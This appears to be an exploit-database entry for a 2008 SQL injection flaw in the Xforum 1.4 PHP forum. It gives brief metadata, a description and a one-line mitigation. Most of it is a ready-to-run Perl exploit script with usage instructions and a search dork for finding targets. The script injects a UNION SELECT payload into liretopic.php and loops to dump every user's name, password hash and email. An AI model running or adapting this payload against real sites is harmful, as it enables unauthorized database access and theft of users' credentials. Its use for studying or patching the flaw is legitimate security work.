Xforum 1.4 Remote SQL Injection

vendor:

Xforum

by:

j0j0

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Xforum

Affected Version From: 1.4

Affected Version To: 1.4

Patch Exists: NO

Related CWE: N/A

CPE: a:xforum:xforum:1.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Xforum 1.4 Remote SQL Injection

Xforum 1.4 is vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability to gain access to the database and extract sensitive information such as usernames, passwords, and emails. The vulnerability exists in the liretopic.php file, where the application is not properly sanitizing user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious SQL code to the vulnerable application.

Mitigation:

Ensure that user-supplied input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#######################################################
#
# Xforum 1.4 Remote SQL Injection
# desc: Un forum php/MySQL, avec gestion complete des membres et des messages
# download: http://www.comscripts.com/scripts/php.xforum.1188.html
# d0rk: "xforum 1.4"
# bug found by j0j0
# c0ded by j0j0
#
# liretopic.php
# 68.       $conn = connect();
# 69.       $requete = "SELECT titre,closed,place,cara FROM topic WHERE numero=".$_GET['topic']." AND categorie=".$_GET['categorie'];
# 70.       $res = mysql_query($requete) or    die(mysql_error());
# 71.       $proptopic = mysql_fetch_row($res);
#
#######################################################

use LWP::UserAgent;
use HTTP::Request::Common;
$lwp = new LWP::UserAgent;

$host = $ARGV[0];

print q{
----------------------------------------------
      .: Xforum 1.4 Remote SQL Injection :.
----------------------------------------------
  c0ded by: j0j0
  download: http://www.comscripts.com/scripts/php.xforum.1188.html
  desc: Un forum php/MySQL, avec gestion complete des membres et des messages
  d0rk: "xforum 1.4"
----------------------------------------------
};
 
if(!$ARGV[0]) {
    print "[*] Usage: perl $0 [HOST]\n";
    print "[*] Example: perl $0 http://mysite.com/forum\n";
    exit(1);
}
 
print "\n[*] Connecting to $host...\n";
$i=0;
while(true) {
    $go=$lwp->get($host."/liretopic.php?categorie=1&topic=-1/**/UNION/**/SELECT/**/CONCAT(0x21232321,pseudo,char(58),pass,char(58),mail,0x21232321),1,2,3/**/FROM/**/inscrit/**/LIMIT/**/$i,100000/**//*&nbpage=1&nbpageliste=1");
    if($go->content =~ m/!##!(.*?)!##!/ms) {
        @res = split(/:/, $1);
        $res[1] = substr($res[1], 0, 32);
        print "\n[+] Username : $res[0]\n";
        print "[+] Password : $res[1]\n";
        if($res[2] =~ /(.*?)@(.*?)/) {
            print "[+] Mail : $res[2]\n";
        }
        $i++;
    }
    else {
        if($i == 0) {
            print "[-] Exploit failed\n";
        }
        exit(1);
    }
}

# milw0rm.com [2008-01-14]